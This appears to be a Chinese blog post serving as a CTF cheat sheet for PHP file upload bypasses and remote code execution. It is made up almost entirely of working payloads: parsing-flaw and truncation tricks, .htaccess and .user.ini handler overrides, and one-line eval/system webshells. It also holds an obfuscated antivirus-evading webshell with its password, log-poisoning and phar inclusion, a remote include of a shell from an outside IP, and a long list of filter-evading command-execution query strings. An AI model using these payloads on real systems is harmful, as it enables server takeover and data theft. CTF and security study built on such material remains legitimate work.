    Apache解析漏洞:即Apache识别文件类型是从右向左识别的,如果遇到不认识的扩展名会向前依次识别,直到遇到能识别的扩展名,因此test.php.abc在Apache解析漏洞下会被识别成test.php
    iis5.x-6.x解析漏洞:服务器默认会把.asp、.asa目录下的文件都解析成asp文件
    nginx解析漏洞

Linux环境下使用/.绕过,Windows环境下可以使用%00截断

(2)00截断上传

     即利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞,即上传test.php.abc文件,并使用burp抓包,点击hex进入十六进制源码界面,找到test.php.abc中abc前面的点的位置,将点的十六进制编码从2e改成00,从而服务器端在识别test.php.abc文件时,在第二个点处截断,从而将文件识别成test.php

    00截断需要在php<5.3版本下才能复现

        上传路径可控GET.POST      %00 0x00 截断

(3)构造图片木马上传绕过

一般文件内容验证使用getimagesize()函数检测,会判断文件是否是一个有效的文件图片,则可以将木马文件和图片进行合并,这样文件类型是图片,但是却包含了恶意代码内容
 

(4)大小写绕过

由于Windows对大小写不敏感,Linux对大小写敏感,因此若服务器内核是Windows则可以通过大小写绕过成功
 

(5)文件头绕过

     可以在正常的一句话木马前面加上一些文件信息,如GIF89a表示gif的文件幻数,绕过原理是若后端是用getimagesize()函数来进行文件类型判断的话,加上文件幻数后会被认为是一个图片
 

(6)文件后缀名绕过

若后端是对后缀名进行黑名单校验,则可以尝试黑名单后缀名的漏网之鱼

    jsp:jspx、jspf
    asp:asa、cer、aspx
    php:php、php3、php4、php5、php7、phtml、pht、phps

(7).htaccess

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

方法一:
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
#如果当前目录下有4.png,就会被解析为.php
 
方法二:
AddType application/x-httpd-php .png
#如果当前目录下有以.png结尾的文件,就会被解析为.php

(8).user.ini

GIF89a为绕过图片检验

内容:

.user.ini 配置项中有两个配置可以起到一些作用
方法一:
auto_prepend_file = <filename>         //包含在文件头
方法二:
auto_append_file = <filename>          //包含在文件尾
GIF89a
auto_prepend_file=eval.png

(9)array_map()函数

<?=
array_map("assert",$_REQUEST)
?>

(10)日志包含

对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和
 /var/log/nginx/error.log


中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。(11) 图片二次渲染

(11) 图片二次渲染

(12)条件竞争

(13)免杀绕过

<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

连接密码: TyKPuntU 

(14)不正常后缀

此处下划线_ 代指空格

Windows系统下,对文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单.  

.php        .php_        .php._.

Windows系统下,文件后缀名最后一个点会被自动去除。上传 8.php.

.php        8.php.

Windows系统下,如果上传的文件名为`9.php::$DATA`会在服务器上生成一个9.php的文件,其内容和所上传文件内容相同并被解析。

.php        9.php::$DATA

利用str_ireplace()将文件名中符合黑名单的字符串替换成空 

.php         .pphphp

(15)phar协议

Phar是PHP的归档格式,类似Java的JAR或是.NET的ZIP。Phar文件可以在不需要解压的情况下在PHP中运行。Phar文件可以用于分发PHP代码,就像你分发Python代码时使用的是.pyc或.whl文件。

Phar伪协议是PHP的一个特性,它允许直接从Phar归档中读取文件,而不需要将Phar文件解压。这样可以直接从Phar文件运行PHP脚本,而无需在服务器上物理地提取文件。

也就是说我们可以直接用phar伪协议读取服务器上的压缩包,而不需要先解压再读取

利用条件:1、php版本号在5.3之上 2、php.ini中phar.readonly= Off

?bingdundun=phar://3104e5e6798c3292d8f507456d2aaee5.zip/flag

压缩包里面的文件为:flag.php,,所以  /flag

上传后直接访问即可

phar://shell.jpg/shell.php 的解析

phar://shell.zip/shell.php

<?php
// 创建一个 Phar 文件
$phar = new Phar('shell.jpg');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php echo "Hello from shell.php!"; ?>');
$phar->stopBuffering();

// 通过 phar:// 伪协议访问 Phar 文件内部的文件
include 'phar://shell.jpg/shell.php';
?>

杂列

<?=
array_map("assert",$_REQUEST)
?>

<?= @eval($_REQUEST["cmd"]) ?>
<?php @eval($_REQUEST["cmd"]); ?>
<? system('tac ../f*') ?>
<?=include '/var/l'.'og/nginx/access.l'.'og'?>
<?=`tac ../f*`?>
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
// 此处文件上传变为文件包含,命令执行
include(http://795707305/shell)

system('ls'),('system')('ls'),                        (system)('ls'),('system')(ls) 都是可以执行的。

$_POST[$a]                ($_POST){$a}

    使用到的函数有:   

    base_convert() 函数:在任意进制之间转换数字
    hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符
   dechex() 函数:把十进制转换为十六进制
base_convert(37907361743,10,36) => "hex2bin"
    dechex(1598506324) => "5f474554"  
    hex2bin(5f474554)=>"_GET" //hex2bin将一串16进制数转换为二进制字符串
    (pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
    base_convert(37907361743,10,36)(dechex(1598506324))  =>  _GET ,然后赋给pi变量,也就是pi=_GET,

    (pi){abs} =>$_GET[abs]

也是说我们可以在pi变量和abs执行系统命令

构造的payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));

(pi){abs})&pi=system&abs=ls%20/

用 ; 替换   ?>

<?=`tac ../flagaa.php`;

图片马制作:
在cmd里执行 **copy logo.jpg/b+test.php/a test.jpg**
#logo.jpg为任意图片;test.php 插入的木马文件;test.jpg 生成的图片木马

move_uploaded_file()会忽略掉文件末尾的 /.,主要作用是将临时文件移到指定的目标路径,并确保文件在移动中不会被删除或覆盖。

PHP5和PHP7的区别

        PHP5中,assert()是一个函数,我们可以用$_=assert;$_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。PHP 7.2之后,assert默认不会执行包含副作用的表达式,除非通过assert_options(ASSERT_ACTIVE, 1)激活,并且可能需要设置其他选项来允许执行代码。
        PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')()。

参考

RCE-远程代码执行漏洞_ctf php system 十六进制绕过-优快云博客

My6n-优快云博客

?c=echo `ls`;

?c=echo `cat f*`;

?c=echo%09`ls`;

?c=echo%09`tac%09f*`;

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

?c=include$_GET["1"]?>&1=php://input

<?php system('ls');?>

?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET["1"]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

?c=system("tac f''lag.php");
?c=system("tac f'l'ag.php");
?c=system("tac f``lag.php");
?c=system("tac f*");
?c=system("tac f???.???");
?c=system("tac f[l]ag.php");
?c=system("tac f$@lag.php");
?c=eval($_GET[1]);&1=system('tac flag.php');
?1=system('tac flag.php');&c=eval($_GET[1]);
?1=system('tail flag.php');&c=eval($_GET[1]);
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
exp=eval(end(current(get_defined_vars())));&test=system(ls);

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值